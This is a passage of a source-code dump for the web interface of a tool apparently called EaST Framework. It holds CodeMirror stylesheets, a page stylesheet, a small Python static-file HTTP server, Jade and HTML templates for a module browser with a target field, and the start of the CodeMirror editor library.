100% { background: #7e7; }
}
/* Can style cursor different in overwrite (non-insert) mode */
div.CodeMirror-overwrite div.CodeMirror-cursor {}
.cm-tab { display: inline-block; }
.CodeMirror-ruler {
border-left: 1px solid #ccc;
position: absolute;
}
/* DEFAULT THEME */
.cm-s-default .cm-keyword {color: #708;}
.cm-s-default .cm-atom {color: #219;}
.cm-s-default .cm-number {color: #164;}
.cm-s-default .cm-def {color: #00f;}
.cm-s-default .cm-variable,
.cm-s-default .cm-punctuation,
.cm-s-default .cm-property,
.cm-s-default .cm-operator {}
.cm-s-default .cm-variable-2 {color: #05a;}
.cm-s-default .cm-variable-3 {color: #085;}
.cm-s-default .cm-comment {color: #a50;}
.cm-s-default .cm-string {color: #a11;}
.cm-s-default .cm-string-2 {color: #f50;}
.cm-s-default .cm-meta {color: #555;}
.cm-s-default .cm-qualifier {color: #555;}
.cm-s-default .cm-builtin {color: #30a;}
.cm-s-default .cm-bracket {color: #997;}
.cm-s-default .cm-tag {color: #170;}
.cm-s-default .cm-attribute {color: #00c;}
.cm-s-default .cm-header {color: blue;}
.cm-s-default .cm-quote {color: #090;}
.cm-s-default .cm-hr {color: #999;}
.cm-s-default .cm-link {color: #00c;}
.cm-negative {color: #d44;}
.cm-positive {color: #292;}
.cm-header, .cm-strong {font-weight: bold;}
.cm-em {font-style: italic;}
.cm-link {text-decoration: underline;}
.cm-s-default .cm-error {color: #f00;}
.cm-invalidchar {color: #f00;}
/* Default styles for common addons */
div.CodeMirror span.CodeMirror-matchingbracket {color: #0f0;}
div.CodeMirror span.CodeMirror-nonmatchingbracket {color: #f22;}
.CodeMirror-matchingtag { background: rgba(255, 150, 0, .3); }
.CodeMirror-activeline-background {background: #e8f2ff;}
/* STOP */
/* The rest of this file contains styles related to the mechanics of
the editor. You probably shouldn't touch them. */
.CodeMirror {
line-height: 1;
position: relative;
overflow: hidden;
background: white;
color: black;
}
.CodeMirror-scroll {
/* 30px is the magic margin used to hide the element's real scrollbars */
/* See overflow: hidden in .CodeMirror */
margin-bottom: -30px; margin-right: -30px;
padding-bottom: 30px;
height: 100%;
outline: none; /* Prevent dragging from highlighting the element */
position: relative;
-moz-box-sizing: content-box;
box-sizing: content-box;
}
.CodeMirror-sizer {
position: relative;
border-right: 30px solid transparent;
-moz-box-sizing: content-box;
box-sizing: content-box;
}
/* The fake, visible scrollbars. Used to force redraw during scrolling
before actuall scrolling happens, thus preventing shaking and
flickering artifacts. */
.CodeMirror-vscrollbar, .CodeMirror-hscrollbar, .CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {
position: absolute;
z-index: 6;
display: none;
}
.CodeMirror-vscrollbar {
right: 0; top: 0;
overflow-x: hidden;
overflow-y: scroll;
}
.CodeMirror-hscrollbar {
bottom: 0; left: 0;
overflow-y: hidden;
overflow-x: scroll;
}
.CodeMirror-scrollbar-filler {
right: 0; bottom: 0;
}
.CodeMirror-gutter-filler {
left: 0; bottom: 0;
}
.CodeMirror-gutters {
position: absolute; left: 0; top: 0;
padding-bottom: 30px;
z-index: 3;
}
.CodeMirror-gutter {
white-space: normal;
height: 100%;
-moz-box-sizing: content-box;
box-sizing: content-box;
padding-bottom: 30px;
margin-bottom: -32px;
display: inline-block;
/* Hack to make IE7 behave */
*zoom:1;
*display:inline;
}
.CodeMirror-gutter-elt {
position: absolute;
cursor: default;
z-index: 4;
}
.CodeMirror-lines {
cursor: text;
min-height: 1px; /* prevents collapsing before first draw */
}
.CodeMirror pre {
/* Reset some styles that the rest of the page might have set */
-moz-border-radius: 0; -webkit-border-radius: 0; border-radius: 0;
border-width: 0;
background: transparent;
font-family: inherit;
font-size: inherit;
margin: 0;
white-space: pre;
word-wrap: normal;
line-height: inherit;
color: inherit;
z-index: 2;
position: relative;
overflow: visible;
}
.CodeMirror-wrap pre {
word-wrap: break-word;
white-space: pre-wrap;
word-break: normal;
}
.CodeMirror-linebackground {
position: absolute;
left: 0; right: 0; top: 0; bottom: 0;
z-index: 0;
}
.CodeMirror-linewidget {
position: relative;
z-index: 2;
overflow: auto;
}
.CodeMirror-widget {}
.CodeMirror-wrap .CodeMirror-scroll {
overflow-x: hidden;
}
.CodeMirror-measure {
position: absolute;
width: 100%;
height: 0;
overflow: hidden;
visibility: hidden;
}
.CodeMirror-measure pre { position: static; }
.CodeMirror div.CodeMirror-cursor {
position: absolute;
border-right: none;
width: 0;
}
div.CodeMirror-cursors {
visibility: hidden;
position: relative;
z-index: 3;
}
.CodeMirror-focused div.CodeMirror-cursors {
visibility: visible;
}
.CodeMirror-selected { background: #d9d9d9; }
.CodeMirror-focused .CodeMirror-selected { background: #d7d4f0; }
.CodeMirror-crosshair { cursor: crosshair; }
.cm-searching {
background: #ffa;
background: rgba(255, 255, 0, .4);
}
/* IE7 hack to prevent it from returning funny offsetTops on the spans */
.CodeMirror span { *vertical-align: text-bottom; }
/* Used to force a border model for a node */
.cm-force-border { padding-right: .1px; }
@media print {
/* Hide the cursor when printing */
.CodeMirror div.CodeMirror-cursors {
visibility: hidden;
}
}
/* Help users use markselection to safely style text background */
span.CodeMirror-selectedtext { background: none; }
================================================
FILE: ui/css/main.css
================================================
* {
box-sizing: border-box;
}
.text-white {
color: white;
}
.text-danger {
color: #a94442 !important;
}
.modal {
display: block;
}
.modal-transition {
transition: all .6s ease;
}
.modal-leave {
border-radius: 1px !important;
}
.modal-transition .modal-dialog, .modal-transition .modal-backdrop {
transition: all .5s ease;
}
.modal-enter .modal-dialog, .modal-leave .modal-dialog {
opacity: 0;
transform: translateY(-30%);
}
.modal-enter .modal-backdrop, .modal-leave .modal-backdrop {
opacity: 0;
}
.modal-full {
width: 90vw;
}
.modal-full img {
width: 100%;
}
.modal-header {
background-color: #222;
color: #ccc;
}
.closeTab {
line-height: 100%;
position: absolute;
right: 0;
text-align: center;
top: 0;
width: 15px;
border-radius: 50%;
cursor: pointer;
}
table input[type=checkbox] {
margin-bottom: 10px;
}
pre {
white-space: pre-wrap;
word-wrap: break-word;
word-break: keep-all;
}
.module-failed {
background-color: rgb(255, 190, 190) !important;
}
.module-succeeded {
background-color: rgb(186, 220, 180) !important;
}
.scrollable-panel {
overflow-y: auto;
white-space: pre-wrap;
word-wrap: break-word;
word-break: keep-all;
}
.scrollable-panel pre {
overflow-y: hidden;
}
.tab-widget {
height: 90vh;
}
.half-height {
height: 40% !important;
}
.full-height {
height: 80% !important;
}
.logView {
padding-left: 10px;
overflow: auto;
}
.CodeMirror {
border: 1px solid #eee;
height: 800px;
max-height: 800px;
}
.listener-state-indicator {
position: relative;
height: 15px;
width: 15px;
background-color: #555;
display: inline-flex;
border-radius: 50%;
box-shadow: 0px 0px 0px 3px #fff inset;
top: 3px;
right: 10px;
margin-right: 0px;
}
.listener-connected {
background-color: #49c749;
}
.listener-disconnected {
background-color: red;
}
.tabcontrol2 .tabs li:first-child {
margin-left: 0px;
}
.pre-scrollable {
height: 60%;
overflow-y: scroll;
}
.logItem pre {
display: block;
padding: 0px 0px;
margin: 0px 0px;
font-size: 13px;
/* line-height: 1.42857143; */
color: #333;
word-break: break-all;
word-wrap: break-word;
background-color: #eee;
border: 0px solid #ccc;
}
.logItem img {
width: 150px;
border: 1px solid grey;
border-radius: 10px;
box-shadow: 3px 3px 10px;
}
.tab-widget .panel-body {
border-left: 1px solid grey;
border-right: 1px solid grey;
border-bottom: 1px solid grey;
border-bottom-left-radius: 5px;
border-bottom-right-radius: 5px;
}
.left-panel {
width: 100% !important;
height: 40% !important;
overflow: auto;
}
#optionsDialog table {
width: 100%;
}
.treeview, .treeview ul, .treeview li {
position: relative;
}
.treeview li {
white-space: nowrap;
}
.treeview .glyphicon {
top: 0px;
}
.treeview ul {
list-style: none;
padding-left: 32px;
}
.treeview>ul {
padding-left: 10px;
}
.treeview ul, .treeview li {
cursor: pointer;
padding-bottom: 5px;
-webkit-touch-callout: none;
-webkit-user-select: none;
-khtml-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
.treeView ul>li:hover {
background-color: #f9f9f9;
}
.treeview .hidden {
display: none;
}
.form-group .form-control-feedback {
pointer-events: initial
}
.pointer {
cursor: pointer;
}
.nav-tabs>li>a {
margin-right: 0px;
}
.nav-tabs>li {
border-top-left-radius: 5px;
border-top-right-radius: 5px;
}
.nav-tabs>li.active {
box-shadow: 1px 2px 10px 2px black;
z-index: 1;
}
[v-cloak] {
display: none;
}
.service-messages-container {
display: none;
}
.popover {
max-width: none;
}
================================================
FILE: ui/httpd.py
================================================
"""Simple HTTP Server.
This module builds on BaseHTTPServer by implementing the standard GET
and HEAD requests in a fairly straightforward manner.
"""
__version__ = "0.6"
__all__ = ["SimpleHTTPRequestHandler"]
import os
import posixpath
import BaseHTTPServer
import urllib
import cgi
import sys
import shutil
import mimetypes
import threading
try:
from cStringIO import StringIO
except ImportError:
from StringIO import StringIO
class HTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
"""Simple HTTP request handler with GET and HEAD commands.
This serves files from the current directory and any of its
subdirectories. The MIME type for files is determined by
calling the .guess_type() method.
The GET and HEAD requests are identical except that the HEAD
request omits the actual contents of the file.
"""
server_version = "SimpleHTTP/" + __version__
def do_GET(self):
"""Serve a GET request."""
f = self.send_head()
if f:
self.copyfile(f, self.wfile)
f.close()
def do_HEAD(self):
"""Serve a HEAD request."""
f = self.send_head()
if f:
f.close()
def log_message(self, format, *args):
return
def send_head(self):
"""Common code for GET and HEAD commands.
This sends the response code and MIME headers.
Return value is either a file object (which has to be copied
to the outputfile by the caller unless the command was HEAD,
and must be closed by the caller under all circumstances), or
None, in which case the caller has nothing further to do.
"""
path = self.translate_path("ui"+self.path)
f = None
if os.path.isdir(path):
if not self.path.endswith('/'):
# redirect browser - doing basically what apache does
self.send_response(301)
self.send_header("Location", self.path + "/")
self.end_headers()
return None
for index in "index.html", "index.htm":
index = os.path.join(path, index)
if os.path.exists(index):
path = index
break
else:
return self.list_directory(path)
ctype = self.guess_type(path)
try:
# Always read in binary mode. Opening files in text mode may cause
# newline translations, making the actual size of the content
# transmitted *less* than the content-length!
f = open(path, 'rb')
except IOError:
self.send_error(404, "File not found")
return None
self.send_response(200)
self.send_header("Content-type", ctype)
fs = os.fstat(f.fileno())
self.send_header("Content-Length", str(fs[6]))
self.send_header("Last-Modified", self.date_time_string(fs.st_mtime))
self.end_headers()
return f
def list_directory(self, path):
"""Helper to produce a directory listing (absent index.html).
Return value is either a file object, or None (indicating an
error). In either case, the headers are sent, making the
interface the same as for send_head().
"""
try:
list = os.listdir(path)
except os.error:
self.send_error(404, "No permission to list directory")
return None
list.sort(key=lambda a: a.lower())
f = StringIO()
displaypath = cgi.escape(urllib.unquote(self.path))
f.write('')
f.write("\nDirectory listing for %s\n" % displaypath)
f.write("\n
Directory listing for %s
\n" % displaypath)
f.write("\n
\n")
for name in list:
fullname = os.path.join(path, name)
displayname = linkname = name
# Append / for directories or @ for symbolic links
if os.path.isdir(fullname):
displayname = name + "/"
linkname = name + "/"
if os.path.islink(fullname):
displayname = name + "@"
# Note: a link to a directory displays with @ and links with /
f.write('
\n\n\n\n")
length = f.tell()
f.seek(0)
self.send_response(200)
encoding = sys.getfilesystemencoding()
self.send_header("Content-type", "text/html; charset=%s" % encoding)
self.send_header("Content-Length", str(length))
self.end_headers()
return f
def translate_path(self, path):
"""Translate a /-separated PATH to the local filename syntax.
Components that mean special things to the local file system
(e.g. drive or directory names) are ignored. (XXX They should
probably be diagnosed.)
"""
# abandon query parameters
path = path.split('?',1)[0]
path = path.split('#',1)[0]
path = posixpath.normpath(urllib.unquote(path))
words = path.split('/')
words = filter(None, words)
path = os.getcwd()
for word in words:
drive, word = os.path.splitdrive(word)
head, word = os.path.split(word)
if word in (os.curdir, os.pardir): continue
path = os.path.join(path, word)
return path
def copyfile(self, source, outputfile):
"""Copy all data between two file objects.
The SOURCE argument is a file object open for reading
(or anything with a read() method) and the DESTINATION
argument is a file object open for writing (or
anything with a write() method).
The only reason for overriding this would be to change
the block size or perhaps to replace newlines by CRLF
-- note however that this the default server uses this
to copy binary data as well.
"""
shutil.copyfileobj(source, outputfile)
def guess_type(self, path):
"""Guess the type of a file.
Argument is a PATH (a filename).
Return value is a string of the form type/subtype,
usable for a MIME Content-type header.
The default implementation looks the file's extension
up in the table self.extensions_map, using application/octet-stream
as a default; however it would be permissible (if
slow) to look inside the data to make a better guess.
"""
base, ext = posixpath.splitext(path)
if ext in self.extensions_map:
return self.extensions_map[ext]
ext = ext.lower()
if ext in self.extensions_map:
return self.extensions_map[ext]
else:
return self.extensions_map['']
if not mimetypes.inited:
mimetypes.init() # try to read system mime.types
extensions_map = mimetypes.types_map.copy()
extensions_map.update({
'': 'application/octet-stream', # Default
'.py': 'text/plain',
'.c': 'text/plain',
'.h': 'text/plain',
})
def startHttpServer(HandlerClass = HTTPRequestHandler,
ServerClass = BaseHTTPServer.HTTPServer):
BaseHTTPServer.test(HandlerClass, ServerClass)
if __name__ == '__main__':
startHttpServer()
================================================
FILE: ui/index.html
================================================
EaST Framework
Edit {{title}}
{{moduleName}}
Image
================================================
FILE: ui/index.jade
================================================
html
head
meta(charset="utf-8")
title EaST Framework
script(src="js/jquery.min.js")
script(src="js/lodash.min.js")
script(src="js/rsvp.js")
script(src="js/metro.min.js")
script(src="js/bootstrap.min.js")
script(src="js/toastr.min.js")
script(src="js/vue.min.js")
script(src="js/codemirror.js")
script(src="mode/python/python.js")
script(src="js/guiCommands.js")
script(src="js/serverCommands.js")
script(src="js/ws.js")
script(src="js/components.js")
script(src="js/main.js")
link(rel="stylesheet", type="text/css", href="css/bootstrap.min.css")
link(rel="stylesheet", type="text/css", href="css/metro.min.css")
link(rel="stylesheet", type="text/css", href="css/metro-schemes.min.css")
link(rel="stylesheet", type="text/css", href="css/metro-colors.min.css")
link(rel="stylesheet", type="text/css", href="css/metro-icons.min.css")
link(rel="stylesheet", type="text/css", href="css/metro-rtl.min.css")
link(rel="stylesheet", type="text/css", href="css/toastr.min.css")
link(rel="stylesheet", type="text/css", href="css/codemirror.css")
link(rel="stylesheet", type="text/css", href="css/main.css")
body(style="position: absolute; height: 100vh; width: 100vw")
#editorDialog
re-modal(:show.sync="show", @ok="save", :large="true", :okText="'Saffffve'")
textarea#editor
div(slot="header").text-center
h4 Edit {{title}}
#optionsDialog
re-modal(:show.sync="show", @ok="ok", okText="Run")
table
tr
td
label Use listener:
td
input(type="checkbox", v-model="useListener")
tr(v-for="option in options", title="{{option.value.description || ''}}")
td
label {{option.option}}:
td
input.form-control(v-show="option.value.type == 'int'",type="number", v-model="option.value.value")
input.form-control(v-show="option.value.type == 'string'",type="", v-model="option.value.value")
input(v-show="option.value.type == 'bool'",type="checkbox", v-model="option.value.value")
select.form-control(v-show="option.value.type == 'list'", v-model="option.value.selected")
option(v-for="opt in option.value.options", :selected="opt == option.value.selected") {{opt}}
div(slot="header").text-center
h4 {{moduleName}}
#imagePopup
re-modal(:show.sync="show", :full='true')
img(:src="image || '/'")
div(slot="header").text-center
h4 Image
div(slot="footer")
button.btn.btn-default(type="button", :class="cancelClass", @click="show=false") Close
#mainVue
nav.navbar.navbar-inverse
.container-fluid
.navbar-header
a.navbar-brand(href="#", :class="{'fg-red': !serverEnabled}") EaST Framework {{ version }}
ul.navbar-form.navbar-right
.form-group
label.fg-white Target:
input.form-control(placeholder="127.0.0.1:80", v-model="target")
.container-fluid
.row
.col-md-4
tree-view(:model.sync="modules").fg-white
re-module-info(:module.sync="selectedModule")
.col-md-8
tab-view(:tabs.sync="tabs")
//- .row
//- ul.col-md-4
//- .panel.panel-primary.tree-widget#tree
//- .panel-heading.text-center
//- h4 Modules
//- table
//- tr
//- td
//- button.btn.btn-default(title="Run selected module" @click="runSelectedModule()")
//- i.fa.fa-play
//- td
//- button.btn.btn-default(title="Edit selected module" @click="editSelectedModule()")
//- i.fa.fa-edit
//- .panel-body(style="height:70%;")
//- tree-view(:model="treeData")
//- .panel.panel-primary.info-widget#info
//- .panel-heading.text-center
//- h4 Info
//- .panel-body.scrollable-panel
//- b Module name:
//- | {{name}}
//- br
//- b Description:
//- | {{description}}
//- br
//- b Vendor:
//- a(href="{{vendor}}" target="_blank") {{vendor}}
//- br
//- b CVE:
//- | {{cve}}
//- br
//- b Download link:
//- br
//- a(href="{{downloadLink}}" target="_blank") {{downloadLink}}
//- br
//- b Links:
//- li(v-for="link in links" v-show="link")
//- a(href="{{link}}" target="_blank") {{link}}
//- br
//- b Notes:
//- pre.pre-scrollable {{notes}}
//- ul.col-md-8#tabs
//- tab-view(:tabs="tabsData")
================================================
FILE: ui/js/codemirror.js
================================================
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE
// This is CodeMirror (http://codemirror.net), a code editor
// implemented in JavaScript on top of the browser's DOM.
//
// You can find some technical background for some of the code below
// at http://marijnhaverbeke.nl/blog/#cm-internals .
(function(mod) {
if (typeof exports == "object" && typeof module == "object") // CommonJS
module.exports = mod();
else if (typeof define == "function" && define.amd) // AMD
return define([], mod);
else // Plain browser env
this.CodeMirror = mod();
})(function() {
"use strict";
// BROWSER SNIFFING
// Kludges for bugs and behavior differences that can't be feature
// detected are enabled based on userAgent etc sniffing.
var gecko = /gecko\/\d/i.test(navigator.userAgent);
// ie_uptoN means Internet Explorer version N or lower
var ie_upto10 = /MSIE \d/.test(navigator.userAgent);
var ie_11up = /Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(navigator.userAgent);
var ie = ie_upto10 || ie_11up;
var ie_version = ie && (ie_upto10 ? document.documentMode || 6 : ie_11up[1]);
var webkit = /WebKit\//.test(navigator.userAgent);
var qtwebkit = webkit && /Qt\/\d+\.\d+/.test(navigator.userAgent);
var chrome = /Chrome\//.test(navigator.userAgent);
var presto = /Opera\//.test(navigator.userAgent);
var safari = /Apple Computer/.test(navigator.vendor);
var khtml = /KHTML\//.test(navigator.userAgent);
var mac_geMountainLion = /Mac OS X 1\d\D([8-9]|\d\d)\D/.test(navigator.userAgent);
var phantom = /PhantomJS/.test(navigator.userAgent);
var ios = /AppleWebKit/.test(navigator.userAgent) && /Mobile\/\w+/.test(navigator.userAgent);
// This is woefully incomplete. Suggestions for alternative methods welcome.
var mobile = ios || /Android|webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(navigator.userAgent);
var mac = ios || /Mac/.test(navigator.platform);
var windows = /win/i.test(navigator.platform);
var presto_version = presto && navigator.userAgent.match(/Version\/(\d*\.\d*)/);
if (presto_version) presto_version = Number(presto_version[1]);
if (presto_version && presto_version >= 15) { presto = false; webkit = true; }
// Some browsers use the wrong event properties to signal cmd/ctrl on OS X
var flipCtrlCmd = mac && (qtwebkit || presto && (presto_version == null || presto_version < 12.11));
var captureRightClick = gecko || (ie && ie_version >= 9);
// Optimize some code when these features are not used.
var sawReadOnlySpans = false, sawCollapsedSpans = false;
// EDITOR CONSTRUCTOR
// A CodeMirror instance represents an editor. This is the object
// that user code is usually dealing with.
function CodeMirror(place, options) {
if (!(this instanceof CodeMirror)) return new CodeMirror(place, options);
this.options = options = options || {};
// Determine effective options based on given values and defaults.
copyObj(defaults, options, false);
setGuttersForLineNumbers(options);
var doc = options.value;
if (typeof doc == "string") doc = new Doc(doc, options.mode);
this.doc = doc;
var display = this.display = new Display(place, doc);
display.wrapper.CodeMirror = this;
updateGutters(this);
themeChanged(this);
if (options.lineWrapping)
this.display.wrapper.className += " CodeMirror-wrap";
if (options.autofocus && !mobile) focusInput(this);
this.state = {
keyMaps: [], // stores maps added by addKeyMap
overlays: [], // highlighting overlays, as added by addOverlay
modeGen: 0, // bumped when mode/overlay changes, used to invalidate highlighting info
overwrite: false, focused: false,
suppressEdits: false, // used to disable editing during key handlers when in readOnly mode
pasteIncoming: false, cutIncoming: false, // help recognize paste/cut edits in readInput
draggingText: false,
highlight: new Delayed() // stores highlight worker timeout
};
// Override magic textarea content restore that IE sometimes does
// on our hidden textarea on reload
if (ie && ie_version < 11) setTimeout(bind(resetInput, this, true), 20);
registerEventHandlers(this);
ensureGlobalHandlers();
var cm = this;
runInOp(this, function() {
cm.curOp.forceUpdate = true;
attachDoc(cm, doc);
if ((options.autofocus && !mobile) || activeElt() == display.input)
setTimeout(bind(onFocus, cm), 20);
else
onBlur(cm);
for (var opt in optionHandlers) if (optionHandlers.hasOwnProperty(opt))
optionHandlers[opt](cm, options[opt], Init);
maybeUpdateLineNumberWidth(cm);
for (var i = 0; i < initHooks.length; ++i) initHooks[i](cm);
});
}
// DISPLAY CONSTRUCTOR
// The display handles the DOM integration, both for input reading
// and content drawing. It holds references to DOM nodes and
// display-related state.
function Display(place, doc) {
var d = this;
// The semihidden textarea that is focused when the editor is
// focused, and receives input.
var input = d.input = elt("textarea", null, null, "position: absolute; padding: 0; width: 1px; height: 1em; outline: none");
// The textarea is kept positioned near the cursor to prevent the
// fact that it'll be scrolled into view on input from scrolling
// our fake cursor out of view. On webkit, when wrap=off, paste is
// very slow. So make the area wide instead.
if (webkit) input.style.width = "1000px";
else input.setAttribute("wrap", "off");
// If border: 0; -- iOS fails to open keyboard (issue #1287)
if (ios) input.style.border = "1px solid black";
input.setAttribute("autocorrect", "off"); input.setAttribute("autocapitalize", "off"); input.setAttribute("spellcheck", "false");
// Wraps and hides input textarea
d.inputDiv = elt("div", [input], null, "overflow: hidden; position: relative; width: 3px; height: 0px;");
// The fake scrollbar elements.
d.scrollbarH = elt("div", [elt("div", null, null, "height: 100%; min-height: 1px")], "CodeMirror-hscrollbar");
d.scrollbarV = elt("div", [elt("div", null, null, "min-width: 1px")], "CodeMirror-vscrollbar");
// Covers bottom-right square when both scrollbars are present.
d.scrollbarFiller = elt("div", null, "CodeMirror-scrollbar-filler");
// Covers bottom of gutter when coverGutterNextToScrollbar is on
// and h scrollbar is present.
d.gutterFiller = elt("div", null, "CodeMirror-gutter-filler");
// Will contain the actual code, positioned to cover the viewport.
d.lineDiv = elt("div", null, "CodeMirror-code");
// Elements are added to these to represent selection and cursors.
d.selectionDiv = elt("div", null, null, "position: relative; z-index: 1");
d.cursorDiv = elt("div", null, "CodeMirror-cursors");
// A visibility: hidden element used to find the size of things.
d.measure = elt("div", null, "CodeMirror-measure");
// When lines outside of the viewport are measured, they are drawn in this.
d.lineMeasure = elt("div", null, "CodeMirror-measure");
// Wraps everything that needs to exist inside the vertically-padded coordinate system
d.lineSpace = elt("div", [d.measure, d.lineMeasure, d.selectionDiv, d.cursorDiv, d.lineDiv],
null, "position: relative; outline: none");
// Moved around its parent to cover visible view.
d.mover = elt("div", [elt("div", [d.lineSpace], "CodeMirror-lines")], null, "position: relative");
// Set to the height of the document, allowing scrolling.
d.sizer = elt("div", [d.mover], "CodeMirror-sizer");
// Behavior of elts with overflow: auto and padding is
// inconsistent across browsers. This is used to ensure the
// scrollable area is big enough.
d.heightForcer = elt("div", null, null, "position: absolute; height: " + scrollerCutOff + "px; width: 1px;");
// Will contain the gutters, if any.
d.gutters = elt("div", null, "CodeMirror-gutters");
d.lineGutter = null;
// Actual scrollable element.
d.scroller = elt("div", [d.sizer, d.heightForcer, d.gutters], "CodeMirror-scroll");
d.scroller.setAttribute("tabIndex", "-1");
// The element in which the editor lives.
d.wrapper = elt("div", [d.inputDiv, d.scrollbarH, d.scrollbarV,
d.scrollbarFiller, d.gutterFiller, d.scroller], "CodeMirror");
// Work around IE7 z-index bug (not perfect, hence IE7 not really being supported)
if (ie && ie_version < 8) { d.gutters.style.zIndex = -1; d.scroller.style.paddingRight = 0; }
// Needed to hide big blue blinking cursor on Mobile Safari
if (ios) input.style.width = "0px";
if (!webkit) d.scroller.draggable = true;
// Needed to handle Tab key in KHTML
if (khtml) { d.inputDiv.style.height = "1px"; d.inputDiv.style.position = "absolute"; }
// Need to set a minimum width to see the scrollbar on IE7 (but must not set it on IE8).
if (ie && ie_version < 8) d.scrollbarH.style.minHeight = d.scrollbarV.style.minWidth = "18px";
if (place.appendChild) place.appendChild(d.wrapper);
else place(d.wrapper);
// Current rendered range (may be bigger than the view window).
d.viewFrom = d.viewTo = doc.first;
// Information about the rendered lines.
d.view = [];
// Holds info about a single rendered line when it was rendered
// for measurement, while not in view.
d.externalMeasured = null;
// Empty space (in pixels) above the view
d.viewOffset = 0;
d.lastSizeC = 0;
d.updateLineNumbers = null;
// Used to only resize the line number gutter when necessary (when
// the amount of lines crosses a boundary that makes its width change)
d.lineNumWidth = d.lineNumInnerWidth = d.lineNumChars = null;
// See readInput and resetInput
d.prevInput = "";
// Set to true when a non-horizontal-scrolling line widget is
// added. As an optimization, line widget aligning is skipped when
// this is false.
d.alignWidgets = false;
// Flag that indicates whether we expect input to appear real soon
// now (after some event like 'keypress' or 'input') and are
// polling intensively.
d.pollingFast = false;
// Self-resetting timeout for the poller
d.poll = new Delayed();
d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;
// Tracks when resetInput has punted to just putting a short
// string into the textarea instead of the full selection.
d.inaccurateSelection = false;
// Tracks the maximum line length so that the horizontal scrollbar
// can be kept static when scrolling.
d.maxLine = null;
d.maxLineLength = 0;
d.maxLineChanged = false;
// Used for measuring wheel scrolling granularity
d.wheelDX = d.wheelDY = d.wheelStartX = d.wheelStartY = null;
// True when shift is held down.
d.shift = false;
// Used to track whether anything happened since the context menu
// was opened.
d.selForContextMenu = null;
}
// STATE UPDATES
// Used to get the editor into a consistent state again when options change.
function loadMode(cm) {
cm.doc.mode = CodeMirror.getMode(cm.options, cm.doc.modeOption);
resetModeState(cm);
}
function resetModeState(cm) {
cm.doc.iter(function(line) {
if (line.stateAfter) line.stateAfter = null;
if (line.styles) line.styles = null;
});
cm.doc.frontier = cm.doc.first;
startWorker(cm, 100);
cm.state.modeGen++;
if (cm.curOp) regChange(cm);
}
function wrappingChanged(cm) {
if (cm.options.lineWrapping) {
addClass(cm.display.wrapper, "CodeMirror-wrap");
cm.display.sizer.style.minWidth = "";
} else {
rmClass(cm.display.wrapper, "CodeMirror-wrap");
findMaxLine(cm);
}
estimateLineHeights(cm);
regChange(cm);
clearCaches(cm);
setTimeout(function(){updateScrollbars(cm);}, 100);
}
// Returns a function that estimates the height of a line, to use as
// first approximation until the line becomes visible (and is thus
// properly measurable).
function estimateHeight(cm) {
var th = textHeight(cm.display), wrapping = cm.options.lineWrapping;
var perLine = wrapping && Math.max(5, cm.display.scroller.clientWidth / charWidth(cm.display) - 3);
return function(line) {
if (lineIsHidden(cm.doc, line)) return 0;
var widgetsHeight = 0;
if (line.widgets) for (var i = 0; i < line.widgets.length; i++) {
if (line.widgets[i].height) widgetsHeight += line.widgets[i].height;
}
if (wrapping)
return widgetsHeight + (Math.ceil(line.text.length / perLine) || 1) * th;
else
return widgetsHeight + th;
};
}
function estimateLineHeights(cm) {
var doc = cm.doc, est = estimateHeight(cm);
doc.iter(function(line) {
var estHeight = est(line);
if (estHeight != line.height) updateLineHeight(line, estHeight);
});
}
function keyMapChanged(cm) {
var map = keyMap[cm.options.keyMap], style = map.style;
cm.display.wrapper.className = cm.display.wrapper.className.replace(/\s*cm-keymap-\S+/g, "") +
(style ? " cm-keymap-" + style : "");
}
function themeChanged(cm) {
cm.display.wrapper.className = cm.display.wrapper.className.replace(/\s*cm-s-\S+/g, "") +
cm.options.theme.replace(/(^|\s)\s*/g, " cm-s-");
clearCaches(cm);
}
function guttersChanged(cm) {
updateGutters(cm);
regChange(cm);
setTimeout(function(){alignHorizontally(cm);}, 20);
}
// Rebuild the gutter elements, ensure the margin to the left of the
// code matches their width.
function updateGutters(cm) {
var gutters = cm.display.gutters, specs = cm.options.gutters;
removeChildren(gutters);
for (var i = 0; i < specs.length; ++i) {
var gutterClass = specs[i];
var gElt = gutters.appendChild(elt("div", null, "CodeMirror-gutter " + gutterClass));
if (gutterClass == "CodeMirror-linenumbers") {
cm.display.lineGutter = gElt;
gElt.style.width = (cm.display.lineNumWidth || 1) + "px";
}
}
gutters.style.display = i ? "" : "none";
updateGutterSpace(cm);
}
function updateGutterSpace(cm) {
var width = cm.display.gutters.offsetWidth;
cm.display.sizer.style.marginLeft = width + "px";
cm.display.scrollbarH.style.left = cm.options.fixedGutter ? width + "px" : 0;
}
// Compute the character length of a line, taking into account
// collapsed ranges (see markText) that might hide parts, and join
// other lines onto it.
function lineLength(line) {
if (line.height == 0) return 0;
var len = line.text.length, merged, cur = line;
while (merged = collapsedSpanAtStart(cur)) {
var found = merged.find(0, true);
cur = found.from.line;
len += found.from.ch - found.to.ch;
}
cur = line;
while (merged = collapsedSpanAtEnd(cur)) {
var found = merged.find(0, true);
len -= cur.text.length - found.from.ch;
cur = found.to.line;
len += cur.text.length - found.to.ch;
}
return len;
}
// Find the longest line in the document.
function findMaxLine(cm) {
var d = cm.display, doc = cm.doc;
d.maxLine = getLine(doc, doc.first);
d.maxLineLength = lineLength(d.maxLine);
d.maxLineChanged = true;
doc.iter(function(line) {
var len = lineLength(line);
if (len > d.maxLineLength) {
d.maxLineLength = len;
d.maxLine = line;
}
});
}
// Make sure the gutters options contains the element
// "CodeMirror-linenumbers" when the lineNumbers option is true.
function setGuttersForLineNumbers(options) {
var found = indexOf(options.gutters, "CodeMirror-linenumbers");
if (found == -1 && options.lineNumbers) {
options.gutters = options.gutters.concat(["CodeMirror-linenumbers"]);
} else if (found > -1 && !options.lineNumbers) {
options.gutters = options.gutters.slice(0);
options.gutters.splice(found, 1);
}
}
// SCROLLBARS
function hScrollbarTakesSpace(cm) {
return cm.display.scroller.clientHeight - cm.display.wrapper.clientHeight < scrollerCutOff - 3;
}
// Prepare DOM reads needed to update the scrollbars. Done in one
// shot to minimize update/measure roundtrips.
function measureForScrollbars(cm) {
var scroll = cm.display.scroller;
return {
